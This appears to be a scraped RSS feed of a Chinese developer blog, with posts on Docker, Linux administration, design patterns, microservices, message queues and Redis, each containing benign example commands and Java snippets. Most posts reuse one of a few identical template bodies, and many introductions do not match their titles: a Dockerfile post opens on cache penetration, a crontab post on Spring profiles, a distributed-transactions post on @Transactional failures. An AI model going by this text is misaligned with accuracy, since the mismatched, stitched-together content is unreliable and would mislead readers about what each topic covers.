tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Docker 服务器 docker docker compose 部署单机服务 //docker-compose-bu-shu-dan-ji-fu-wu/ docker compose 部署单机服务

Dockerfile 的分层缓存和镜像优化是部署时最容易忽略的。本文讲一些实用技巧。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Docker 服务器 docker Docker 容器日志和数据卷实践 //docker-rong-qi-ri-zhi-he-shu-ju-juan-shi-jian/ Docker 容器日志和数据卷实践

日志是线上排查的生命线。本文讲 Spring Boot 中日志配置、分级输出和排查技巧。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Docker 服务器 docker Dockerfile 分层缓存和镜像优化 //dockerfile-fen-ceng-huan-cun-he-jing-xiang-you-hua/ Dockerfile 分层缓存和镜像优化

缓存穿透、击穿、雪崩是三个经典问题。本文从现象到解决方案，把这三个概念讲清楚。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Docker 服务器 docker Linux 文件权限和用户组理解 //linux-wen-jian-quan-xian-he-yong-hu-zu-li-jie/ Linux 文件权限和用户组理解

Linux 文件权限是运维和后端开发的基础。本文讲权限模型和常见问题。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Linux 教程 Linux crontab 定时任务从配置到排查 //crontab-ding-shi-ren-wu-cong-pei-zhi-dao-pai-cha/ crontab 定时任务从配置到排查

多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Linux 教程 Linux systemd 服务管理入门 //systemd-fu-wu-guan-li-ru-men/ systemd 服务管理入门

systemd 是 Linux 上的服务管理器。本文讲如何编写 service 文件和管理服务。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Linux 教程 Linux Linux 查看日志的几种方法 //linux-cha-kan-ri-zhi-de-ji-chong-fang-fa/ Linux 查看日志的几种方法

日志是线上排查的生命线。本文讲 Spring Boot 中日志配置、分级输出和排查技巧。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Linux 教程 Linux Linux 磁盘空间占满排查流程 //linux-ci-pan-kong-jian-zhan-man-pai-cha-liu-cheng/ Linux 磁盘空间占满排查流程

Linux 文件权限是运维和后端开发的基础。本文讲权限模型和常见问题。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Linux 教程 Linux 责任链模式在审批和过滤器中的应用 //ze-ren-lian-mo-shi-zai-shen-pi-he-guo-lu-qi-zhong-de-ying-yong/ 责任链模式在审批和过滤器中的应用

责任链模式在审批和过滤器中应用广泛。本文讲它的实现方式和适用场景。

先看业务味道

设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。

一个策略模式示例

public interface DiscountStrategy {
    BigDecimal calculate(BigDecimal amount);
}

public class VipDiscount implements DiscountStrategy {
    public BigDecimal calculate(BigDecimal amount) {
        return amount.multiply(new BigDecimal("0.8"));
    }
}

使用时通过类型选择策略，而不是写一大堆 if else。

判断是否值得使用

如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。

]]> 设计模式 学习笔记 设计模式 模板方法模式适合流程固定的业务 //mo-ban-fang-fa-mo-shi-gua-he-liu-cheng-gu-ding-de-ye-wu/ 模板方法模式适合流程固定的业务

模板方法模式适合流程固定但细节不同的业务。本文讲它的实现和应用场景。

先看业务味道

设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。

一个策略模式示例

public interface DiscountStrategy {
    BigDecimal calculate(BigDecimal amount);
}

public class VipDiscount implements DiscountStrategy {
    public BigDecimal calculate(BigDecimal amount) {
        return amount.multiply(new BigDecimal("0.8"));
    }
}

使用时通过类型选择策略，而不是写一大堆 if else。

判断是否值得使用

如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。

]]> 设计模式 学习笔记 设计模式 策略模式替代大量 if else //ce-lue-mo-shi-ti-dai-da-liang-if-else/ 策略模式替代大量 if else

策略模式是替代大量 if-else 的经典方案。本文讲它的实现方式和注意事项。

先看业务味道

设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。

一个策略模式示例

public interface DiscountStrategy {
    BigDecimal calculate(BigDecimal amount);
}

public class VipDiscount implements DiscountStrategy {
    public BigDecimal calculate(BigDecimal amount) {
        return amount.multiply(new BigDecimal("0.8"));
    }
}

使用时通过类型选择策略，而不是写一大堆 if else。

判断是否值得使用

如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。

]]> 设计模式 学习笔记 设计模式 工厂模式如何降低创建复杂度 //gong-han-mo-shi-ru-he-jiang-di-chuang-jian-fu-za-du/ 工厂模式如何降低创建复杂度

工厂模式能降低创建复杂度，但用不好反而会增加复杂度。本文讲它的适用场景。

先看业务味道

设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。

一个策略模式示例

public interface DiscountStrategy {
    BigDecimal calculate(BigDecimal amount);
}

public class VipDiscount implements DiscountStrategy {
    public BigDecimal calculate(BigDecimal amount) {
        return amount.multiply(new BigDecimal("0.8"));
    }
}

使用时通过类型选择策略，而不是写一大堆 if else。

判断是否值得使用

如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。

]]> 设计模式 学习笔记 设计模式 单例模式的线程安全写法 //dan-li-mo-shi-de-xian-cheng-an-quan-xie-fa/ 单例模式的线程安全写法

单例模式看似简单，但线程安全的写法有很多讲究。本文讲各种实现的区别。

先看业务味道

设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。

一个策略模式示例

public interface DiscountStrategy {
    BigDecimal calculate(BigDecimal amount);
}

public class VipDiscount implements DiscountStrategy {
    public BigDecimal calculate(BigDecimal amount) {
        return amount.multiply(new BigDecimal("0.8"));
    }
}

使用时通过类型选择策略，而不是写一大堆 if else。

判断是否值得使用

如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。

]]> 设计模式 学习笔记 设计模式 接口版本管理和灰度发布思路 //jie-kou-ban-ben-guan-li-he-hui-du-fa-bu-si-lu/ 接口版本管理和灰度发布思路

接口版本管理和灰度发布是长期维护项目必须考虑的。本文讲几种常见做法。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 微服务 架构 SpringCloud OpenFeign 调用超时和重试配置 //openfeign-diao-yong-chao-shi-he-chong-shi-pei-zhi/ OpenFeign 调用超时和重试配置

多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 微服务 架构 SpringCloud 网关在微服务里承担什么职责 //wang-guan-zai-wei-fu-wu-li-cheng-dan-shi-me-zhi-ze/ 网关在微服务里承担什么职责

API 网关在微服务架构中承担重要角色。本文讲它的职责和常见能力。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 微服务 架构 SpringCloud 服务注册发现的基本流程 //fu-wu-zhu-ce-fa-xian-de-ji-ben-liu-cheng/ 服务注册发现的基本流程

服务注册与发现是微服务的基础。本文讲它的基本流程和实现思路。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 微服务 架构 SpringCloud 配置中心解决了什么问题 //pei-zhi-zhong-xin-jie-jue-liao-shi-me-wen-ti/ 配置中心解决了什么问题

多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 分布式 分布式 架构 限流熔断降级的区别和落地 //xian-liu-rong-duan-jiang-ji-de-qu-bie-he-luo-di/ 限流熔断降级的区别和落地

限流、熔断、降级是高可用系统的三大利器。很多人分不清它们的区别和适用场景。本文讲三者的区别和落地实现，帮你在项目中正确使用。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？

核心要点

  1. 限流：控制入口流量，保护系统不被压垮

  2. 熔断：快速失败，防止级联故障

  3. 降级：牺牲非核心功能，保障核心服务

  4. 常用的限流算法：令牌桶、漏桶、滑动窗口

总结

限流、熔断、降级常常组合使用，共同构建高可用的分布式系统。在实际项目中，根据系统特点和业务需求选择合适的策略。

]]> 分布式 分布式 架构 分布式事务为什么难 //fen-bu-shi-shi-wu-wei-shi-me-nan/ 分布式事务为什么难

Spring 事务用起来简单，但失效场景非常多。很多人遇到过 @Transactional 不生效的情况，却不知道原因。本文把日常开发中常见的坑和对应的排查思路整理出来，帮你避免踩坑。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？

核心要点

  1. 事务失效的常见原因：非 public 方法、自调用、异常被吞掉、错误的传播级别

  2. 事务传播级别决定了方法之间的事务关系，REQUIRED 是默认值

  3. 使用 @Transactional(rollbackFor = Exception.class) 确保异常回滚

  4. 编程式事务在某些场景下比声明式事务更灵活

总结

事务管理是保证数据一致性的关键。理解事务的工作机制和常见陷阱，能帮你写出更健壮的代码。在实际项目中，合理配置事务边界非常重要。

]]> 分布式 分布式 架构 接口幂等性设计从业务开始 //jie-kou-mi-deng-xing-she-ji-cong-ye-wu-kai-shi/ 接口幂等性设计从业务开始

接口幂等性是分布式系统中必须考虑的问题。本文从业务场景出发，讲常见的实现方式。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 分布式 分布式 架构 分布式 ID 生成方案怎么选 //fen-bu-shi-id-sheng-cheng-fang-an-zen-me-xuan/ 分布式 ID 生成方案怎么选

分布式 ID 生成方案怎么选是日常开发和面试中都会遇到的话题。本文从实际项目经验出发，讲它的核心概念和使用方式。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 分布式 分布式 架构 延迟队列的业务场景和实现思路 //yan-chi-dui-lie-de-ye-wu-chang-jing-he-shi-xian-si-lu/ 延迟队列的业务场景和实现思路

延迟队列在订单超时、任务调度等场景中很实用。本文讲它的业务场景和实现思路。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 消息队列 架构 消息队列 消息丢失问题从生产到消费排查 //xiao-xi-diu-shi-wen-ti-cong-sheng-chan-dao-xiao-fei-pai-cha/ 消息丢失问题从生产到消费排查

消息从生产到消费的过程中可能在多处丢失。本文讲如何排查和预防。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 消息队列 架构 消息队列 消息重复消费如何保证幂等 //xiao-xi-chong-fu-xiao-fei-ru-he-bao-zheng-mi-deng/ 消息重复消费如何保证幂等

接口幂等性是分布式系统中必须考虑的问题。本文从业务场景出发，讲常见的实现方式。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 消息队列 架构 消息队列 消息队列为什么能削峰填谷 //xiao-xi-dui-lie-wei-shi-me-neng-xue-feng-tian-gu/ 消息队列为什么能削峰填谷

消息队列在削峰填谷、异步解耦中发挥关键作用。很多项目引入消息队列后遇到了消息丢失、重复消费等问题。本文讲为什么它能解决这些问题，以及项目中如何选型和避坑。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？

核心要点

  1. 消息队列的核心价值：异步处理、解耦、削峰填谷

  2. 常见的消息队列：RabbitMQ、Kafka、RocketMQ 的区别

  3. 消息丢失的原因和解决方案：生产者确认、消息持久化、消费者确认

  4. 消息重复消费的处理：幂等性设计

总结

消息队列是构建高可用系统的重要组件，但需要正确使用。在实际项目中，根据业务需求选择合适的消息队列，并做好消息可靠性保障。

]]> 消息队列 架构 消息队列 Redis 大 key 和热 key 排查 //redis-da-key-he-re-key-pai-cha/ Redis 大 key 和热 key 排查

Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。

先明确 Redis 在系统里的角色

Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？

一个缓存查询的基本写法

String key = "user:" + userId;
User user = redisTemplate.opsForValue().get(key);
if (user != null) {
    return user;
}
user = userMapper.selectById(userId);
if (user != null) {
    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(30));
}
return user;

这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。

三个常见问题

  • 穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。
  • 击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。
  • 雪崩：大量 key 同时过期，可以给过期时间增加随机值。

验证方式

本地可以先用 redis-cli 查看 key：

redis-cli
GET user:1001
TTL user:1001

确认缓存写入、过期时间和删除策略都符合预期。

核心要点

  1. String：简单的键值对，适合缓存、计数器

  2. Hash：存储对象属性，适合用户信息、配置

  3. List：有序列表，适合消息队列、最新列表

  4. Set：无序去重，适合共同好友、抽奖

  5. ZSet：有序集合，适合排行榜、积分系统

总结

选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。

]]> Redis Redis 缓存 Redis 持久化 RDB 和 AOF 怎么选 //redis-chi-jiu-hua-rdb-he-aof-zen-me-xuan/ Redis 持久化 RDB 和 AOF 怎么选

Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。

先明确 Redis 在系统里的角色

Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？

一个缓存查询的基本写法

String key = "user:" + userId;
User user = redisTemplate.opsForValue().get(key);
if (user != null) {
    return user;
}
user = userMapper.selectById(userId);
if (user != null) {
    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(30));
}
return user;

这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。

三个常见问题

  • 穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。
  • 击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。
  • 雪崩：大量 key 同时过期，可以给过期时间增加随机值。

验证方式

本地可以先用 redis-cli 查看 key：

redis-cli
GET user:1001
TTL user:1001

确认缓存写入、过期时间和删除策略都符合预期。

核心要点

  1. String：简单的键值对，适合缓存、计数器

  2. Hash：存储对象属性，适合用户信息、配置

  3. List：有序列表，适合消息队列、最新列表

  4. Set：无序去重，适合共同好友、抽奖

  5. ZSet：有序集合，适合排行榜、积分系统

总结

选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。

]]> Redis Redis 缓存 Redis 分布式锁的正确姿势 //redis-fen-bu-shi-suo-de-zheng-que-zi-shi/ Redis 分布式锁的正确姿势

Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。

先明确 Redis 在系统里的角色

Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？

一个缓存查询的基本写法

String key = "user:" + userId;
User user = redisTemplate.opsForValue().get(key);
if (user != null) {
    return user;
}
user = userMapper.selectById(userId);
if (user != null) {
    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(30));
}
return user;

这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。

三个常见问题

  • 穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。
  • 击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。
  • 雪崩：大量 key 同时过期，可以给过期时间增加随机值。

验证方式

本地可以先用 redis-cli 查看 key：

redis-cli
GET user:1001
TTL user:1001

确认缓存写入、过期时间和删除策略都符合预期。

核心要点

  1. String：简单的键值对，适合缓存、计数器

  2. Hash：存储对象属性，适合用户信息、配置

  3. List：有序列表，适合消息队列、最新列表

  4. Set：无序去重，适合共同好友、抽奖

  5. ZSet：有序集合，适合排行榜、积分系统

总结

选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。

]]> Redis Redis 缓存 缓存穿透击穿雪崩怎么处理 //huan-cun-chuan-tou-ji-chuan-xue-beng-zen-me-chu-li/ 缓存穿透击穿雪崩怎么处理

缓存穿透、击穿、雪崩是三个经典问题。本文从现象到解决方案，把这三个概念讲清楚。

